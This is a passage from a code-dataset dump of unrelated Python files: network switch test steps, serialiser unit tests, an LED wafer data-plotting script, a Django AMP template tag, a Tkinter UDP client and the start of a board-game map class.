=1\n        printRes('web_init(sta1) status false')\n\n\n    printCheckStep(testname, 'Step 3',res3)\n\n\n    ################################################################################\n    #Step 4\n    #操作\n    #输入用户名和密码\n    #\n    #预期\n    #输入正确\n    ################################################################################\n\n    printStep(testname,'Step 4',\n              'input username and password')\n\n\n    #operate\n    res1=res2=res3=1\n    res1 = portal_login(web,'aaa','111')\n    if res1['status']:\n        res2 = 0\n    else:\n        printRes(res1)\n\n    #result\n    printCheckStep(testname, 'Step 4',res2)\n\n\n    ################################################################################\n    #Step 5\n    #操作\n    #客户端主动下线。\n    #\n    #预期\n    #下线成功\n    ################################################################################\n\n    printStep(testname,'Step 5',\n              'STA1 logout.')\n\n    res1 = portal_logout(web)\n    if res1 != None:\n        if res1['status']:\n            res2 = 0\n        else:\n            res2 =1\n            printRes(res1)\n\n    printCheckStep(testname, 'Step 5',res2)\n    # 关闭firefox窗口\n    res1 = web_close(web)\n    printRes(res1)\n    if not res1['status']:\n        CMDKillFirefox(sta1)\n################################################################################\n#Step 6\n#操作\n#恢复默认配置\n################################################################################\nprintStep(testname,'Step 6',\n          'Recover initial config for switches.')\n\n#operate\n\nWpaDisconnectWirelessNetwork(sta1,Netcard_sta1)\n\nEnterNetworkMode(switch1,'1')\nSetCmd(switch1,'ssid ' + Network_name1)\nSetCmd(switch1,'vlan '+Vlan4091)\nEnterConfigMode(switch1)\nSetCmd(switch1,'captive-portal')\nSetCmd(switch1,'disable')\nSetCmd(switch1,'no configuration 1')\nSetCmd(switch1,'no external portal-server ipv4 server-name eportal')\nSetCmd(switch1,'no free-resource 1')\nEnterConfigMode(switch1)\nSetCmd(switch1,'no radius source-ipv4')\nSetCmd(switch1,'no radius-server key')\nSetCmd(switch1,'no aaa group server radius wlan')\nSetCmd(switch1,'no radius nas-ipv4')\nSetCmd(switch1,'no aaa enable')\nSetCmd(switch1,'no aaa-accounting enable')\nSetCmd(switch1,'no radius-server authentication host ' + Radius_server)\nSetCmd(switch1,'no radius-server accounting host ' + Radius_server)\n\n# SetCmd(ap1,'set management vlan-id',Vlan20)\n# SetCmd(ap1,'set untagged-vlan vlan-id',Vlan20)\n# ApSetcmd(ap1,Ap1cmdtype,'set_management_vlanid','1')\n# ApSetcmd(ap1,Ap1cmdtype,'set_untagged_vlanid','1',commitflag=True)\n\nEnterWirelessMode(switch1)\nEnterApProMode(switch1,'1')\nSetCmd(switch1,'no','management vlan')\nSetCmd(switch1,'ethernet native-vlan 1')\nWirelessApplyProfileWithCheck(switch1,['1'],[ap1mac])\n# 配置下发后，ap的management vlan和ethernet native-vlan已经修改，\n# 但是s3的端口配置没有修改，导致AP和AC之间不通，AP会下线\n# （注意：此处必须先等AP下线后再修改S3配置）\nCheckSutCmd(switch1,'show wireless ap status',\n            check=[(ap1mac,'Failed','Not Config')],\n            waitflag=False,retry=10,interval=5,IC=True)\n# 修改S3端口配置  \n# 集中转发、本地转发差异化配置，testcentral为True代表集中转发配置，False代表本地转发配置\nif testcentral:\n    EnterConfigMode(switch3)\n    SetCmd(switch3,'no vlan 2')\n    SetCmd(switch3,'Interface ',s3p3)\n    SetCmd(switch3,'switchport mode access ')\n    SetCmd(switch3,'switchport access vlan ',Vlan20)\nelse:\n    EnterConfigMode(switch3)\n    SetCmd(switch3,'no vlan 2')\n    SetCmd(switch3,'Interface ',s3p3)\n    SetCmd(switch3,'switchport mode trunk')\n    SetCmd(switch3,'switchport trunk allowed vlan all')\n    SetCmd(switch3,'switchport trunk native vlan',Vlan20)\n\nIdleAfter(20)\nres1=CheckSutCmd(switch1,'show wireless ap status',\n                 check=[(ap1mac,'Managed','Success')],\n                 waittime=5,retry=20,interval=5,IC=True)\n# EnterWirelessMode(switch1)\n# EnterApProMode(switch1,'1')\n# SetCmd(switch1,'no','management vlan')\n# SetCmd(switch1,'ethernet native-vlan 1')\n\n\n\n# WirelessApplyProfileWithCheck(switch1,['1'],[ap1mac])\n#end\nprintTimer(testname, 'End')\n\n\n","sub_path":"autoTests/waffirm/waffirm_6.3.3_ALL.py","file_name":"waffirm_6.3.3_ALL.py","file_ext":"py","file_size_in_byte":11360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"216864720","text":"import numpy as np\nimport pytest\n\nfrom streaming_data_types import DESERIALISERS, SERIALISERS\nfrom streaming_data_types.area_detector_NDAr import deserialise_ndar, serialise_ndar\nfrom streaming_data_types.exceptions import WrongSchemaException\nfrom streaming_data_types.fbschemas.NDAr_NDArray_schema.DType import DType\n\n\nclass TestSerialisationNDAr:\n    def test_serialises_and_deserialises_NDAr_message_correctly_float64_1_pixel(self):\n        \"\"\"\n        Round-trip to check what we serialise is what we get back.\n        \"\"\"\n        original_entry = {\n            \"id\": 754,\n            \"dims\": [1, 1],\n            \"data_type\": DType.Float64,\n            \"data\": [54, 78, 100, 156, 43, 1, 23, 0],\n        }\n\n        buf = serialise_ndar(**original_entry)\n        entry = deserialise_ndar(buf)\n\n        assert entry.id == original_entry[\"id\"]\n        assert np.array_equal(entry.data, [[3.1991794446845865e-308]])\n\n    def test_serialises_and_deserialises_NDAr_message_correctly_int32_3_pixel(self):\n        \"\"\"\n        Round-trip to check what we serialise is what we get back.\n        \"\"\"\n        original_entry = {\n            \"id\": 754,\n            \"dims\": [1, 3],\n            \"data_type\": DType.Int32,\n            \"data\": [54, 78, 100, 200, 32, 19, 2, 156, 43, 1, 23, 0],\n        }\n\n        buf = serialise_ndar(**original_entry)\n        entry = deserialise_ndar(buf)\n\n        assert entry.id == original_entry[\"id\"]\n        assert np.array_equal(entry.data, [[-932950474, -1677585632, 1507627]])\n\n    def test_if_buffer_has_wrong_id_then_throws(self):\n        original_entry = {\n            \"id\": 754,\n            \"dims\": [10, 10],\n            \"data_type\": 0,\n            \"data\": [0, 0, 100, 200, 250],\n        }\n\n        buf = serialise_ndar(**original_entry)\n\n        # Manually hack the id\n        buf = bytearray(buf)\n        buf[4:8] = b\"1234\"\n\n        with pytest.raises(WrongSchemaException):\n            deserialise_ndar(buf)\n\n    def test_schema_type_is_in_global_serialisers_list(self):\n        assert \"NDAr\" in SERIALISERS\n        assert \"NDAr\" in DESERIALISERS\n","sub_path":"tests/test_NDAr.py","file_name":"test_NDAr.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"647108712","text":"# author:廖建亚\n\n# WLD分布替换成VF4\n\nimport os\nimport glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport pandas as pd\n#处理文件的路径\npath=input(\"请输入要合档的文件地址：\")\ncol=[\"Wafer ID\",\"LOP\",\"VF1\",\"WLD\",\"VF3_Yield\",\"IR_Yield\"]\nlop=pd.DataFrame(columns=col)\nna=0\ndic1={}\n\n#-----------------------------------------------------请修改需要的分布分档值\nlopmin,lopmax,lopstep=87,104,1\nvf1min,vf1max,vf1step=2.8,3.3,0.1\nvf3min,vf3max,vf3step=1.4,2.5,0.1\nvf4=[2.48,2.5,2.55,2.6,2.65,2.68,2.7]\nirmin,irmax,irstep=0,1,0.1\nwldmin,wldmax,wldstep=445,465,2.5\n#-------------------------------------------------------------------------\n#LOP1分布的参数\nlop1=lopmin\nnlops=int((lopmax-lopmin)/lopstep)+2\nxlop=[]\nnlop=[0]*nlops\n\n#wld1分布的参数\nwld1=wldmin\nnwlds=int((wldmax-wldmin)/wldstep)+2\nxwld=[]\nnwld=[0]*nwlds\n\n#VF4分布的参数\nnvf4s=len(vf4)+1\nprint('nvf4s:',nvf4s)\nxvf4=[0]*nvf4s\nnvf4=[0]*nvf4s\n\n#VF1分布的参数\nnvf1s=int((vf1max-vf1min)/vf1step)+2\nxvf1=[0]*nvf1s\nnvf1=[0]*nvf1s\n#VF3分布的参数\n\nnvf3s=int((vf3max-vf3min)/vf3step)+2\nxvf3=[0]*nvf3s\nnvf3=[0]*nvf3s\n#IR分布的参数\nirmin=0\nirmax=1\nirstep=0.1\nnirs=int((irmax-irmin)/irstep)+1\nnir=[0]*nirs\nxir=[0]*nirs\n# print(nlop[2])\nfor file in glob.glob(os.path.join(path,\"*.csv\")):\n    name=os.path.basename(file.upper().rstrip('.CSV'))\n    #print(name)                                            #返回片号\n    df=pd.read_csv(file,skiprows=53)                        #读取CSV文件\n    n1 = df.TEST.count()\n    na +=n1\n    # -----------------------计算均值\n    avglop=round(np.mean(df.LOP1[df.LOP1>=80]),1)          #计算均值（去坏点）\n    avgvf1=round(np.mean(df.VF1[(df.VF1>=2.8)&(df.VF1<=3.8)]),3)          #计算均值（去坏点）\n    avgwld=round(np.mean(df.WLD1[(df.WLD1>=440)&(df.WLD1<=470)]),1)          #计算均值（去坏点）\n    #计算良率\n    vf3yield=round(df.VF3[(df.VF3>=1.5)&(df.VF3<=2.5)].count()/n1*100,2)\n    iryield=round(df.IR[(df.IR<=1)].count()/n1*100,2)\n    dic1[name]=[name,avglop,avgvf1,avgwld,vf3yield,iryield]\n    print(dic1[name])\n    #分布\n    j=1\n    # -----------------------各亮度段的颗粒数\n    lop1 = lopmin\n    for j in range(nlops):\n        if j==0:\n            nlop[0]=nlop[0]+df.loc[df.LOP1<lop1].LOP1.count()\n        elif j!=nlops-1:\n            lop2=lop1+lopstep\n            nlop[j] =nlop[j]+df.loc[(df.LOP1>=lop1)&(df.LOP1<lop2)].LOP1.count()\n            lop1 +=lopstep\n        else:\n            nlop[j]=nlop[j]+df.loc[df.LOP1>=lop1].LOP1.count()\n\n    # # -----------------------各WLD段的颗粒数\n    # wld1 = wldmin\n    # for j in range(nwlds):\n    #     if j == 0:\n    #         nwld[0] = nwld[0] + df.loc[df.WLD1 < wld1].WLD1.count()\n    #     elif j != nwlds - 1:\n    #         wld2 = wld1 + wldstep\n    #         nwld[j] = nwld[j] + df.loc[(df.WLD1 >= wld1) & (df.WLD1 < wld2)].WLD1.count()\n    #         wld1 += wldstep\n    #     else:\n    #         nwld[j] = nwld[j] + df.loc[df.WLD1 >= wld1].WLD1.count()\n\n    # -----------------------各VF4段的颗粒数\n    vf4_left=vf4[0]\n    for j in range((nvf4s)):\n        if j == 0:\n            nvf4[0] = nvf4[0] + df.loc[df.VF4 < vf4_left].VF4.count()\n        elif j != nvf4s-1:\n            # print(j)\n            vf4_left =vf4[j-1]\n            vf4_right=vf4[j]\n            nvf4[j] = nvf4[j] + df.loc[(df.VF4 >= vf4_left) & (df.VF4 <vf4_right)].VF4.count()\n        else:\n            vf4_left = vf4[j-1]\n            nvf4[j] = nvf4[j] + df.loc[df.VF4 >= vf4_left].VF4.count()\n   \n    # -----------------------各VF1段的颗粒数\n    vf11=vf1min\n    for j in range(nvf1s):\n      if j==0:\n          nvf1[0]=nvf1[0]+df.loc[df.VF1<vf11].VF1.count()\n      elif j!=nvf1s-1:\n          vf12=vf11+vf1step\n          nvf1[j] =nvf1[j]+df.loc[(df.VF1>=vf11)&(df.VF1<vf12)].VF1.count()\n          vf11 +=vf1step\n      else:\n          nvf1[j]=nvf1[j]+df.loc[df.VF1>=vf11].VF1.count()\n    '''\n    # -----------------------各IR段的颗粒数\n    ir1=irmin\n    for j in range(nirs):\n      if j!=nirs-1:\n          ir2=ir1+irstep\n          nir[j] +=df.loc[(df.IR>=ir1)&(df.IR<ir2)].IR.count()\n          ir1 +=irstep\n      else:\n          nir[j]+=df.loc[df.IR>=ir1].IR.count()\n    '''\n    # -----------------------各VF3段的颗粒数\n    vf31=vf3min\n    for j in range(nvf3s):\n      if j==0:\n          nvf3[0]=nvf3[0]+df.loc[df.VF3<vf31].VF3.count()\n      elif j!=nvf3s-1:\n          vf32=vf31+vf3step\n          nvf3[j] =nvf3[j]+df.loc[(df.VF3>=vf31)&(df.VF3<vf32)].VF3.count()\n          vf31 +=vf3step\n      else:\n          nvf3[j]=nvf3[j]+df.loc[df.VF3>=vf31].VF3.count()\n# ------------------各亮度段的表示\nlop1 = lopmin\nfor i in range(nlops):\n    lop2=lop1+lopstep\n    if i==0:\n        xlop=xlop+[\"<{}\".format(lop1)]\n    elif i!=nlops-1:\n        xlop=xlop+[\"{0}~{1}\".format(round(lop1,2),round(lop2,2))]\n        lop1 +=lopstep\n    else :\n        xlop=xlop+[\"≥{}\".format(lop1)]\n        \n# ------------------各波长段的表示\n# wld1 = wldmin\n# for i in range(nwlds):\n#     wld2=wld1+wldstep\n#     if i==0:\n#         xwld=xwld+[\"<{}\".format(wld1)]\n#     elif i!=nwlds-1:\n#         xwld=xwld+[\"{0}~{1}\".format(round(wld1,2),round(wld2,2))]\n#         wld1 +=wldstep\n#     else :\n#         xwld=xwld+[\"≥{}\".format(wld1)]\n\n# ------------------各VF4段的表示\n\nfor i in range(nvf4s):\n\n    if i==0:\n        xvf4[i]=\"<{}\".format(vf4[0])\n    elif i!=nvf4s-1:\n        xvf4[i]=\"{0}~{1}\".format(round(vf4[i-1],2),round(vf4[i],2))\n\n    else :\n        xvf4[i]=\"≥{}\".format(vf4[i-1])\n\nprint(\"xvf4\",xvf4)\nprint('nvf4',nvf4)\n\n# -------------------各VF1段的表示\nvf11=vf1min\nfor i in range(nvf1s):\n    vf12=vf11+vf1step\n    if i==0:\n        xvf1[i]=\"<{}\".format(vf11)\n        vf12=vf11+vf1step\n    elif i!=nvf1s-1:\n        xvf1[i]=\"{0}~{1}\".format(round(vf11,2),round(vf12,2))\n        vf11 +=vf1step\n    else :\n        xvf1[i]=\"≥{}\".format(round(vf11,2))\n\n# -------------------各IR段的表示\nir1=irmin\nfor i in range(nirs):\n    ir2=ir1+irstep\n    if i!=nirs-1:\n        xir[i]=\"{0}~{1}\".format(round(ir1,2),round(ir2,2))\n        ir1 +=irstep\n    else :\n        xir[i]=\"≥{}\".format(round(ir1,2))\n# -------------------各VF3段的表示\nvf31=vf3min\nfor i in range(nvf3s):\n    vf32=vf31+vf3step\n    if i==0:\n        xvf3[i]=\"<{}\".format(vf31)\n        vf32=vf31+vf3step\n    elif i!=nvf3s-1:\n        xvf3[i]=\"{0}~{1}\".format(round(vf31,2),round(vf32,2))\n        vf31 +=vf3step\n    else :\n        xvf3[i]=\"≥{}\".format(round(vf31,2))\n      \n#输出均值，良率 \naa=list(dic1.values())\nout=pd.DataFrame(aa,columns=col)\nprint('输出：',out)\n#输出分布表格       \n# print(\"xlop\",xvf1)\n# print(\"nlop\",nvf1)\nnlop_p=nlop/na*100\n# nwld_p=nwld/na*100\nnvf1_p=nvf1/na*100\nnir_p=nir/na*100\nnvf3_p=nvf3/na*100\nnvf4_p=nvf4/na*100\n#输出图表\nmpl.rcParams['font.sans-serif']='SimHei'\nmpl.rcParams['xtick.labelsize'] = 20\nplt.subplot(221)\nfor a, b in zip(xlop, nlop_p):  \n    b=round(b,1)\n    plt.text(a, b, b, ha='center', va='bottom', fontsize=10) \nax=plt.bar(xlop,nlop_p,color='chocolate',label=\"比例\")\nplt.xticks(rotation=45,fontsize='small')\nplt.title(\"LOP分布\",fontsize=18)\nplt.legend(loc=\"upper left\")\n\nplt.subplot(223)\nfor a, b in zip(xvf1, nvf1_p):  \n    b=round(b,1)\n    plt.text(a, b+0.1, b, ha='center', va='bottom', fontsize=10) \n    \nplt.bar(xvf1,nvf1_p,color='g',label=\"比例\")\n\nplt.title(\"VF1分布\",fontsize=18)\nplt.legend(loc=\"upper left\")\nplt.xticks(rotation=45,fontsize='small')\n#plt.ylim(0,55)\n#plt.ylabel('VF1占比')\n#VF3分布画图\nplt.subplot(224)\nfor a, b in zip(xvf3, nvf3_p):  \n    b=round(b,1)\n    plt.text(a, b+0.1, b, ha='center', va='bottom', fontsize=10) \n    \nplt.bar(xvf3,nvf3_p,color='R',label=\"比例\")\n\nplt.title(\"VF3分布\",fontsize=18)\nplt.legend(loc=\"upper left\")\nplt.xticks(rotation=45,fontsize='small')\n#plt.ylim(0,55)\n#plt.ylabel('VF3占比')\n\n#WLD分布画图\n# plt.subplot(222)\n# for a, b in zip(xwld, nwld_p):\n#     b=round(b,1)\n#     plt.text(a, b, b, ha='center', va='bottom', fontsize=10)\n#\n# plt.bar(xwld,nwld_p,color='m',label=\"比例\")\n#\n# plt.title(\"WLD分布\",fontsize=18)\n# plt.legend(loc=\"upper left\")\n# plt.xticks(rotation=45,fontsize='small')\n# #plt.ylim(0,100)\n\n#VF4分布图\nplt.subplot(222)\nfor a, b in zip(xvf4, nvf4_p):\n    b = round(b, 1)\n    plt.text(a, b, b, ha='center', va='bottom', fontsize=10)\n\nplt.bar(xvf4, nvf4_p, color='m', label=\"比例\")\n\nplt.title(\"VF4分布\", fontsize=18)\nplt.legend(loc=\"upper left\")\nplt.xticks(rotation=45, fontsize='small')\n\nplt.show()","sub_path":"18C VF3 VF4产出分布.py","file_name":"18C VF3 VF4产出分布.py","file_ext":"py","file_size_in_byte":8507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"317932926","text":"# -*- coding: utf-8 -*-\n# @Time    : 2019-08-24 15:41\n# @Author  : Zhangjialuo\n# @mail    : zhang_jia_luo@foxmail.com\n# @File    : __init__.py.py\n# @Software: PyCharm\n\nimport sys\n\n\nif __name__ == '__main__':\n    for line in sys.stdin:  # 读作数组\n        input_num = [int(_) for _ in line.split()]  # 输入\n        print(input_num)","sub_path":"swordOffer/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"483052983","text":"import re\n\nmessage = input(\"Enter Message: \")\nlower_range = input(\"Enter Lower character range like a-z: \")\nupper_range = input(\"Enter Upper character range like A-Z: \")\n\n#Check if the string has any characters from a to z lower case, and A to Z upper case:\n\npattern = \"[\" + lower_range + upper_range + \"]\"\nx = re.findall(pattern, message)\nif x:\n    print(x)\nelse:\n    print(\"Not Found\")\n","sub_path":"Code/Sets/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"570805980","text":"from django import template\nfrom django.contrib.sites.models import Site\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n\nfrom amp_tools.settings import settings\n\n@register.simple_tag\ndef amp_canonical_link(request):\n    getvars = request.GET.copy()\n    rel = \"amphtml\"\n    if settings.AMP_TOOLS_GET_PARAMETER in getvars:\n        del getvars[settings.AMP_TOOLS_GET_PARAMETER]\n        rel = \"canonical\"\n    else:\n        getvars[settings.AMP_TOOLS_GET_PARAMETER] = settings.AMP_TOOLS_GET_VALUE\n\n    if len(getvars.keys()) > 0:\n        getvars = getvars.urlencode()\n    else:\n        getvars = ''\n\n    href = '%s?%s' % ( request.path, getvars) if getvars else request.path\n\n    href = \"%s://%s%s\" % (request.scheme, Site.objects.get_current().domain, href)\n\n    return mark_safe('<link rel=\"%s\" href=\"%s\" />' % (rel, href) )\n","sub_path":"amp_tools/templatetags/amp_tags.py","file_name":"amp_tags.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"644245669","text":"#KLIENTI TCP\r\n#Autor Eltion Musa\r\n\r\n\r\nfrom tkinter import *\r\nfrom tkinter import simpledialog\r\nimport socket\r\n\r\ns =  None;\r\n\r\nserverName = \"127.0.0.1\"\r\nport = 12000\r\n\r\n\r\nclass MyDialog(simpledialog.Dialog):\r\n\r\n    def body(self, master):\r\n\r\n        Label(master, text=\"Hosi:\").grid(row=0,column=0)\r\n        Label(master, text=\"Porti:\").grid(row=1,column=0) \r\n        self.e1 = Entry(master)\r\n        self.e2 = Entry(master)\r\n\r\n        self.e1.grid(row=0, column=1)\r\n        self.e2.grid(row=1, column=1)\r\n        return self.e1 # initial focus\r\n\r\n    def apply(self):\r\n        global serverName, port\r\n        serverName = self.e1.get()\r\n        port = self.e2.get()\r\n        connect()\r\n      \r\n\r\n#shfaq inputin \r\ndef showEditText(help):\r\n    vhelp_text.set(help)\r\n    help_text.grid(row=9, column=0,sticky=W)\r\n    textEntry.grid(row=10,column=0,columnspan=2)\r\n\r\n#Fsheh inputin\r\ndef hideEditText():\r\n    help_text.grid_forget()\r\n    textEntry.grid_forget()\r\n\r\n#Fsheh opcionet per konvertim\r\ndef hideFrame():\r\n    frame.grid_forget()\r\n\r\n#Shfaq opcionet per konvertim\r\ndef showFrame():\r\n    frame.grid(row=7, column=0, columnspan=2)\r\n\r\n#Ndryshon pamjen varesisht se cili opcion eshte zgjedhur\r\ndef ndyshoPamjen():\r\n    textEntry.delete(0,END)\r\n\r\n    if(var.get() == \"KONVERTIMI\"):\r\n        showFrame()\r\n        showEditText(\"Shenoni nje numer:\")\r\n    elif(var.get() == \"BASHKETINGELLORE\" or var.get() == \"PRINTIMI\"):\r\n        hideFrame()\r\n        showEditText(\"Shenoni nje fjali:\")\r\n    elif(var.get() == \"FIBONACCI\" or var.get() == \"NUMRIITHJESHT\"):\r\n        hideFrame()\r\n        showEditText(\"Shenoni nje numer:\")\r\n    else:\r\n        hideFrame()\r\n        hideEditText()\r\n                  \r\n       \r\nwindow = Tk()                           #Krijon dritaren\r\n\r\nwindow.title('FIEK UDP KLIENT')             #titilli e dritares\r\n\r\nwindow.iconbitmap(\"logo.ico\");          #Ikona e dritares\r\n\r\nwindow.resizable(width=False, height=False)  #Nuk lejon ndrrimin e madhesise se dritares\r\n\r\nLabel(window,text=\"\\nZgjedhni njerin nga opcionet\\n\").grid(row=0, column=0,sticky=W) #Vendos nje Label\r\n\r\n\r\nvar = StringVar()   #Ruan funksionin\r\nvar.set(\"IPADRESA\")\r\n\r\nRadioButonat = {\r\n        \"IPADRESA\":\"IPADRESA\",\r\n        \"NUMRI I PORTIT\":\"NUMRIIPORTIT\",\r\n        \"BASHKETINGELLORE\":\"BASHKETINGELLORE\",\r\n        \"PRINTIMI\":\"PRINTIMI\",\r\n        \"EMRI I KOMPJUTERIT\":\"EMRIIKOMPJUTERIT\",\r\n        \"KOHA\":\"KOHA\",\r\n        \"LOJA\":\"LOJA\",\r\n        \"NUMRI FIBONACCI\":\"FIBONACCI\",\r\n        \"KONVERTIMI\":\"KONVERTIMI\",\r\n        \"LAJMET\" : \"LAJMET\",\r\n        \"NUMRI I THJESHT\":\"NUMRIITHJESHT\"\r\n}\r\n\r\n#Krijimi i radioButonave\r\nrow = 1\r\ncolumn = 0\r\nfor text, funksioni in RadioButonat.items(): \r\n    R1 = Radiobutton(window, text=text, variable=var, value=funksioni, command=ndyshoPamjen)\r\n    R1.grid(row=row, column=column, sticky=W)\r\n    row+=1\r\n    if(row == 7):\r\n        column+= 1\r\n        row = 1;\r\n\r\n\r\n#Krijimi i opcioneve per Konvertimi\r\nframe = Frame(window)\r\nframe.grid(row=7, column=0, columnspan=2)\r\n\r\nLabel(frame,text=\"\\nZgjedhni njerin nga opcionet\\n\").grid(row=0, column=0,sticky=W)\r\n\r\nRadioButonatKonvertimi = [\"KilowattToHorsepower\",\"HorsepowerToKilowatt\",\r\n                          \"DegreesToRadians\",\"RadiansToDegrees\",\"GallonsToLiters\",\r\n                          \"LitersToGallons\"]\r\n\r\nvar1 = StringVar() \r\nvar1.set(\"KilowattToHorsepower\")\r\n\r\nrow = 1\r\ncolumn = 0\r\nfor opcioni in RadioButonatKonvertimi:\r\n    RB = Radiobutton(frame, text=opcioni, variable=var1, value=opcioni)\r\n    RB.grid(row=row, column=column, sticky=W)\r\n    row+=1\r\n    if(row == 4):\r\n        column+= 1\r\n        row = 1;\r\n\r\n#teksti permi input\r\nvhelp_text = StringVar()\r\nhelp_text = Label(window,textvariable=vhelp_text)\r\nhelp_text.grid(row=9, column=0,sticky=W)\r\n\r\n\r\ntextEntry = Entry(window,width=50)\r\ntextEntry.grid(row=10,column=0,columnspan=2)\r\n\r\n#Incializon soketin\r\ndef connect():\r\n    global s\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\r\n#Teston nese n eshte float\r\ndef TestoFloat(n):\r\n    try:\r\n        float(n)\r\n        return True\r\n    except ValueError as e:\r\n        return False \r\n\r\ndef verefikoKerkesen():\r\n    if(var.get() == \"BASHKETINGELLORE\" or var.get() == \"PRINTIMI\"):\r\n        if(textEntry.get().replace(\" \",\"\") == \"\"):\r\n            return \"Shenoni nje fjali!!!!\"\r\n        else:\r\n            return True    \r\n    elif(var.get() == \"FIBONACCI\" or var.get() == \"NUMRIITHJESHT\"):\r\n        if(not textEntry.get().isdigit()):\r\n            return \"Shenoni nje numer!!!\"\r\n        else:\r\n            return True    \r\n    elif(var.get() == \"KONVERTIMI\"):\r\n        if(not TestoFloat(textEntry.get())):\r\n            return \"Ju duhet te shenoni nje numer\"\r\n        else:\r\n            return True    \r\n    else:\r\n        return True\r\n\r\n#dergon kerkesen tek serveri\r\ndef send():\r\n    verifikimi = verefikoKerkesen()\r\n    if(verifikimi != True):\r\n        print(verifikimi)\r\n        text_box.delete(\"1.0\",END)    \r\n        text_box.insert(END,verifikimi)\r\n        return\r\n    funksioni = var.get() +\" \"\r\n    if(var.get() == \"KONVERTIMI\"):\r\n        message = funksioni + var1.get() + \" \" + textEntry.get()\r\n    else:\r\n        message = funksioni + textEntry.get()\r\n\r\n    s.sendto(message.encode(),(serverName,int(port)))\r\n\r\n    r,addr = s.recvfrom(1024) #kthen tuple (,) \r\n    r = r.decode()  #pergigja\r\n    \r\n    #Shkruan rezultatin\r\n    text_box.delete(\"1.0\",END)    \r\n    text_box.insert(END,r)\r\n        \r\n\r\ndef close():\r\n    x = str.encode(\"EXIT\")\r\n    print(x)\r\n    s.sendall(str.encode(\"EXIT\"))\r\n    s.close()\r\n\r\nsendButton = Button(window,text=\"DERGO\",command=send)\r\nsendButton.grid(row=11,column=0,columnspan=2,pady=15)\r\n\r\nLabel(window,text=\"\\nResultati:\\n\").grid(row=12, column=0, sticky=W)\r\n\r\ntext_box = Text(window,width=40,height=8)\r\ntext_box.grid(row=13, column=0, columnspan=2)\r\n\r\nhideFrame()\r\n\r\n#Hap dialogun per host edhe port\r\nd = MyDialog(window)\r\n\r\n\r\nwindow.mainloop() \r\n\r\n","sub_path":"UDP KLIENTI GUI.py","file_name":"UDP KLIENTI GUI.py","file_ext":"py","file_size_in_byte":5878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"53074957","text":"import tools, random\nfrom case_evaluator import CaseEvaluator\nfrom copy import deepcopy\n\n\nclass Map:\n    def __init__(\n        self,\n        player_name,\n        verbose,\n        greedy,\n        state_values,\n        station_finishers,\n        station_ranks,\n    ):\n        self.cards = {\n            0: ((1, 5), (2, 8), (3, 7), (4, 6)),\n            1: ((1, 2), (3, 5), (4, 8), (6, 7)),\n            2: ((1, 8), (2, 5), (3, 6), (4, 7)),\n            3: ((1, 6), (2, 8), (3, 7), (4, 5)),\n            4: ((1, 7), (2, 5), (3, 6), (4, 8)),\n            5: ((1, 3), (2, 5), (4, 8), (6, 7)),\n            6: ((1, 6), (2, 7), (3, 8), (4, 5)),\n            7: ((1, 8), (2, 6), (3, 4), (5, 7)),\n            8: ((1, 7), (2, 6), (3, 5), (4, 8)),\n            9: ((1, 8), (2, 3), (4, 7), (5, 6)),\n            10: ((1, 5), (2, 4), (3, 7), (6, 8)),\n            11: ((1, 8), (2, 6), (3, 4), (5, 7)),\n            12: ((1, 5), (2, 7), (3, 4), (6, 8)),\n            13: ((1, 8), (2, 6), (3, 7), (4, 5)),\n            14: ((1, 7), (2, 3), (4, 8), (5, 6)),\n            15: ((1, 2), (3, 8), (4, 6), (5, 7)),\n            \"left\": ((7, 8),),\n            \"right\": ((3, 4),),\n            \"up\": ((1, 2),),\n            \"down\": ((5, 6),),\n            \"s_right\": ((3, \"s\"), (4, \"s\")),\n            \"s_left\": ((7, \"s\"), (8, \"s\")),\n            \"s_down\": ((5, \"s\"), (6, \"s\")),\n            \"s_up\": ((1, \"s\"), (2, \"s\")),\n        }\n\n        self.player_name = player_name\n\n        self.verbose = verbose\n\n        self.greedy = greedy\n\n        self.state_values = state_values\n\n        self.move_keys = []\n\n        self.move_values = []\n\n        self.move_scores = [0]\n\n        self.station_scores = [0]\n\n        self.points = [0, 0]  # first moving trains, second stations\n\n        self.unused_cards = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n\n        self.new_stations = []\n\n        self.station_finishers = station_finishers\n\n        self.station_ranks = station_ranks\n\n        self.map_structure = {\n            # tuples containing the tag, card number and card rotation\n            \"01\": (\"left\", -1),\n            \"02\": (\"left\", -1),\n            \"03\": (\"s_left\", -1),\n            \"04\": (\"left\", -1),\n            \"15\": (\"s_up\", -1),\n            \"25\": (\"up\", -1),\n            \"35\": (\"s_up\", -1),\n            \"45\": (\"up\", -1),\n            \"51\": (\"right\", -1),\n            \"52\": (\"s_right\", -1),\n            \"53\": (\"right\", -1),\n            \"54\": (\"s_right\", -1),\n            \"10\": (\"down\", -1),\n            \"20\": (\"s_down\", -1),\n            \"30\": (\"down\", -1),\n            \"40\": (\"s_down\", -1),\n            \"11\": (0, 0),\n        }\n\n        self.card_in_use = None\n\n        self.available_tags = [\"21\", \"12\"]\n\n        self.paths_to_add = {\n            \"up\": ((5, 2), (6, 1)),\n            \"down\": ((1, 6), (2, 5)),\n            \"right\": ((7, 4), (8, 3)),\n            \"left\": ((4, 7), (3, 8)),\n        }\n\n        self.directions = {\"up\": \"01\", \"down\": \"0-1\", \"right\": \"10\", \"left\": \"-10\"}\n\n        self.tracks = {}\n\n        self.train_positions = {1: \"115\", 2: \"116\", 3: \"117\", 4: \"118\"}\n\n        self.stations = {\n            \"03\": (10, 9, 8, 7),\n         